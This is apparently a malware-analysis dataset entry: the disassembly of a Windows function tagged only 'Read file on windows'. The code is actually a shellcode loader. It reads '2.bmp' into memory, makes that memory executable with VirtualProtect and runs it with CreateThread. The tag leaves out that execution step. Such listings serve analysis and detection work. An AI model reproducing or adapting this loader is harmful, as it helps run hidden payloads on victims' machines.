Function at 0x403f20
Capabilities:
Read file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x48
call fcn.00401960
mov dword [esp + 4], 0x406044
mov dword [esp], str.2.bmp
call sub.msvcrt.dll_fopen
test eax, eax
je 0x404144
mov dword [esp + 8], 2
mov esi, eax
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov dword [esp], esi
call sub.msvcrt.dll_ftell
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov edi, eax
mov dword [esp], esi
call sub.msvcrt.dll_fseek
mov dword [esp], edi
call sub.msvcrt.dll_malloc
mov ebx, eax
test eax, eax
je 0x4041b4
mov dword [esp + 0xc], esi
mov dword [esp + 8], edi
mov dword [esp + 4], 1
mov dword [esp], eax
call sub.msvcrt.dll_fread
cmp eax, edi
jne 0x404121
mov dword [esp], esi
mov dword [ebp - 0x2c], eax
call sub.msvcrt.dll_fclose
mov dword [esp], str.kernel32.dll
call sub.KERNEL32.dll_GetModuleHandleA
push ecx
mov dword [esp + 4], str.VirtualProtect
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
push esi
mov edi, eax
push esi
mov dword [esp], str.kernel32.dll
call sub.KERNEL32.dll_GetModuleHandleA
push edx
mov dword [esp + 4], str.CreateThread
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
push ecx
push ecx
mov dword [ebp - 0x30], eax
mov dword [esp], str.kernel32.dll
call sub.KERNEL32.dll_GetModuleHandleA
push esi
mov dword [esp + 4], str.VirtualAlloc
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
push edx
push edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], 4
mov dword [esp + 4], edx
mov dword [esp + 8], 0x1000
mov dword [esp], 0
call eax
mov edx, dword [ebp - 0x2c]
sub esp, 0x10
test eax, eax
mov esi, eax
je 0x404157
mov dword [esp + 8], edx
mov dword [esp + 4], ebx
mov dword [esp], eax
mov dword [ebp - 0x2c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [ebp - 0x2c]
lea eax, [ebp - 0x1c]
mov dword [esp], esi
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
call edi
sub esp, 0x10
test eax, eax
je 0x404172
lea eax, [ebp - 0x20]
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0xc], 0
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
sub esp, 0x18
mov edi, eax
test eax, eax
je 0x4041ab
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sub.KERNEL32.dll_WaitForSingleObject
push eax
push eax
mov dword [esp], edi
call sub.KERNEL32.dll_CloseHandle
push edx
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov dword [esp], esi
call sub.KERNEL32.dll_VirtualFree
sub esp, 0xc
mov dword [esp], ebx
call fcn.00402070
xor eax, eax
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
mov dword [esp], str.Failed_to_read_file
call sub.msvcrt.dll_puts
mov dword [esp], ebx
call fcn.00402070
mov dword [esp], esi
call sub.msvcrt.dll_fclose
mov eax, 1
jmp 0x404115
mov dword [esp], str.Failed_to_open_file
call sub.msvcrt.dll_perror
mov eax, 1
jmp 0x404115
mov dword [esp], str.Failed_to_allocate_shellcode_memory
call sub.msvcrt.dll_puts
mov dword [esp], ebx
call fcn.00402070
mov eax, 1
jmp 0x404115
mov dword [esp], str.Failed_to_change_protection
call sub.msvcrt.dll_puts
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov dword [esp], esi
call sub.KERNEL32.dll_VirtualFree
sub esp, 0xc
mov dword [esp], ebx
call fcn.00402070
mov eax, 1
jmp 0x404115
mov dword [esp], str.Failed_to_create_thread
jmp 0x404179
mov dword [esp], str.Failed_to_allocate_memory
call sub.msvcrt.dll_puts
mov dword [esp], esi
call sub.msvcrt.dll_fclose
mov eax, 1
jmp 0x404115